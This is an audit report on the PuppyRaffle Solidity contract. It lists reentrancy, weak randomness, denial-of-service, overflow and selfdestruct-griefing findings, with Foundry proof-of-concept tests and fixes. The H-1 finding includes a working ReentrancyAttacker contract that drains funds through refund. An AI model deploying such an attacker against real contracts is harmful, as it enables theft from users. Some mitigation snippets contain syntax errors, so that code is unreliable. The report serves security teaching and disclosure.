Protocol Audit Report

Version 1.0

ThangTran

September 19, 2024

PuppyRaffle Audit Report

ThangTran

Sep 19, 2024

Prepared by: ThangTran Lead Auditors: - ThangTran

Table of Contents

- Medium
  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, making `PuppyRaffle::enterRaffle` increase gas cost and auto revert when number of players become large
  - [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
  - [M-3] Balance check on PuppyRaffle::withdrawFees enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals
- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable
  - [G-2] Storage variables in a loops should be cached
- Information
  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] Using an outdated version of solidity is not recommended
  - [I-3] Return index 0 when player inactive can make player at index 0 think that they are inactive
  - [I-4] Lack of zero address check in constructor
  - [I-5] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
  - [I-6] Use of "magic" numbers is discouraged
  - [I-7] State changes are missing event
  - [I-8] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters:
   1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The ThangTran team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Roles

- `Owner` - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- `Player` - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severtity	Number of issue found
High	4
Medium	3
Low	0
Info	8
Gas	2
Total	17

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fee paid by raffle entrants could be stolen by the malicious participants.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker call `PuppyRaffle::refund` from their attack contract, draining contract balance.

Proof of Code

Code

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_refund_reentrancy() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attacker = makeAddr("ATTACKER");
        vm.deal(attacker, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        console.log("startingAttackContractBalance", startingAttackContractBalance);
        console.log("startingContractBalance", startingContractBalance);

        console.log("endingAttackContractBalance", address(attackerContract).balance);
        console.log("endingContractBalance", address(puppyRaffle).balance);

    }
```

And this contract as well

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`,`block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious user can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Notes: This additionally mean users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `reest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the this solidity blog for more information.

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!

3. User can revert their `PuppyRaffle::selectWinner` transaction if they don't like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] `PuppyRaffle::refund` make duplicate check in `PuppyRaffle::enterRaffle` always returns true, causing DoS (Denial of Service)

Description: The `PuppyRaffle::refund` function make `players[playerIndex]` to `address(0)`. However, if two player left the raffle, the `PuppyRaffle::players` array will have two instance with value `address(0)`, causing the duplicate check always return true.

Impact: `PuppyRaffle::enterRaffle` always revert, making other player can't enter the raffle

Proof of Concept:

1. Player enter the raffle
2. Two random player left the raffle, calling `PuppyRaffle::refund`.

Proof of Code

Code

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_enter_raffle_dos() public {
        address randomPlayer = makeAddr("PLAYER");
        vm.deal(randomPlayer, 100 ether);
        address[] memory players = new address[](10);
        address[] memory anotherPlayers = new address[](1);
        anotherPlayers[0] = address(10);
        for (uint256 i = 0; i < 10; i++) {
            players[i] = address(i);
        }

        vm.prank(randomPlayer);
        puppyRaffle.enterRaffle{value: entranceFee * 10}(players);

        vm.prank(address(1));
        puppyRaffle.refund(1);

        vm.prank(address(2));
        puppyRaffle.refund(2);

        vm.prank(randomPlayer);
        vm.expectRevert("PuppyRaffle: Duplicate player");
        puppyRaffle.enterRaffle{value: entranceFee}(anotherPlayers);
    }
```

Recommended Mitigation: Consider using mapping instead of array for checking duplicates and refund player.

```
-   address[] public players;
+   uint256 public raffleId
+   mapping(address playersAddress => uint raffleId) players
```

[H-4] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
//18446744073709551615
myVar = myVar + 1;
// myVar will be zero
```

Impact: In `PuppyRaffle::selectWinner`,`totalFee` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract. This is because of the require check, you can see more details in the Proof of Concept.

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Proof of Concept:

1. 100 player enter the raffle
2. Player call `PuppyRaffle::selectWinner`
3. Player call `PuppyRaffle::withdrawFees`
4. Transaction reverted because `PuppyRaffle::totalFees` not match contract balance

Code

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_total_fee_overflow() public {
        // 100 players enter the raffle
        address randomPlayer = makeAddr("PLAYER");
        vm.deal(randomPlayer, 200 ether);
        address[] memory players = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            players[i] = address(i);
        }
        vm.startPrank(randomPlayer);
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
        vm.warp(block.timestamp + puppyRaffle.raffleDuration() + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 totalFee = puppyRaffle.totalFees();
        uint256 contractBalance = address(puppyRaffle).balance;

        // fee should be 20000000000000000000 but it's overflowed
        console.log("totalFee", totalFee);
        console.log("contractBalance",contractBalance);

        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
        vm.stopPrank();
    }
```

Recommended Mitigation: There are a few possible mitigation:

1. Use a new version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however, you would still have a hard time with the `uint64` type if too many fees are collected.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, making `PuppyRaffle::enterRaffle` increase gas cost and auto revert when number of players become large

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array for check for duplicates. However, it's a unbound for loops, meaning that the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle start dramatically lower than those who enter later. In addition, when `PuppyRaffle::players` array reach length of hundreds, the gas need to pay for check duplicate can exceed block gas limit in ethereum blockkchain, causing the function unable to call.

```
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later user from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else can enters, guaranteeing themselves the win.

Proof of Concept: If we have 300 players already enter the raffle, no one else can join the raffle using `PuppyRaffle::enterRaffle` because of exceeding gas limit.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
function test_enterRaffle_DOS() public {
        uint64 ETH_BLOCK_LIMIT = 30000000;
        // set up
        address user = makeAddr("USER");
        uint256 playersLength = 300;
        uint256 balance = entranceFee * 1000;
        vm.deal(user, balance);
        address[] memory players = new address[](playersLength);
        for (uint256 i = 0; i < playersLength; i++) {
            players[i] = address(i);
        }
        // 300 players enter the raffle
        vm.prank(user);
        vm.txGasPrice(1);
        puppyRaffle.enterRaffle{value: entranceFee * playersLength}(players);

        // player 301 tries to enter the raffle
        address[] memory lastPlayers = new address[](1);
        lastPlayers[0] = address(301);
        puppyRaffle.enterRaffle{value: entranceFee}(lastPlayers);

        // calculate gas used
        uint64 gasUsed = vm.lastCallGas().gasTotalUsed;
        // gas used exceed the block limit -> DOS
        assert(gasUsed > ETH_BLOCK_LIMIT);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates: User can make new wallet anyway, so duplicate check will not prevent the same person from entering raffle mutiple times, only same wallet address.
2. Consider using mapping instead of array for checking duplicates. This would allow constant time lookup of whether a user has already entered.

```
-   address[] public players;
+   uint256 public raffleId
+   mapping(address playersAddress => uint raffleId) players

-   for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
    }
+   for(uint256 i=0; i < newPlayers.length; i++){
+       require(players[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player")
+   }
+   _;


+   function selectWinner() external {
+       raffleId +=1:
+       _;
+   }
```

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library (https://docs.openzeppelin.com/contracts

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

User could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function keep reverting and would not work, even though the lottery is over!

Recommended Mitigation: There are few options to mitigate this issue

1. Do not allow smart contract wallet entrants (Not recommended).
2. Create a mapping of addresses -> payout, so winners can pull their funds out themselves with a new `claimPrize` function (Recommended).

[M-3] Balance check on PuppyRaffle::withdrawFees enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees equals` the ETH `balance` of the contract `(address(this).balance)`. Since this contract doesn't have a `payable fallback` or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the PuppyRaffle contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from `withdrawing` fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 `totalFees`.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loops should be cached

Description: Every time you call `player.length` you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playerLength = players.length
+   for (uint256 i = 0; i < playerLength - 1; i++) {
+       for (uint256 j = i + 1; j < playerLength; j++) {
-   for (uint256 i = 0; i < players.length - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
    }
```

Information

[I-1] Solidity pragma should be specific, not wide

Recommendation: Consider using a specific of Solidity in your Contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Using an outdated version of solidity is not recommended

Recommendation: Please use new version of Solidity like 0.8.18.

Please see slither documentation for more information.

[I-3] Return index 0 when player inactive can make player at index 0 think that they are inactive

Description: `PuppyRaffle::getActivePlayerIndex` return 0 in two cases:

1. Player stand at index 0
2. Player inactive

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        // @audit: player at index 0 also return 0
@>      return 0;
    }
```

Impact: This might cause an misunderstanding for user who search for their index

Recommended Mitigation: Return an `int256` where the function returns `-1` instead of `0` for inactive case.

```
-   return 0
+   return -1
```

[I-4] Lack of zero address check in constructor

Recommended Mitigation: Add zero address check

```
    constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {
+       if(_feeAddress == address(0)) revert
        _;
    }
```

[I-5] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interaction).

```
-   (bool success,) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
+   (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-6] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-7] State changes are missing event

[I-8] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description:: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```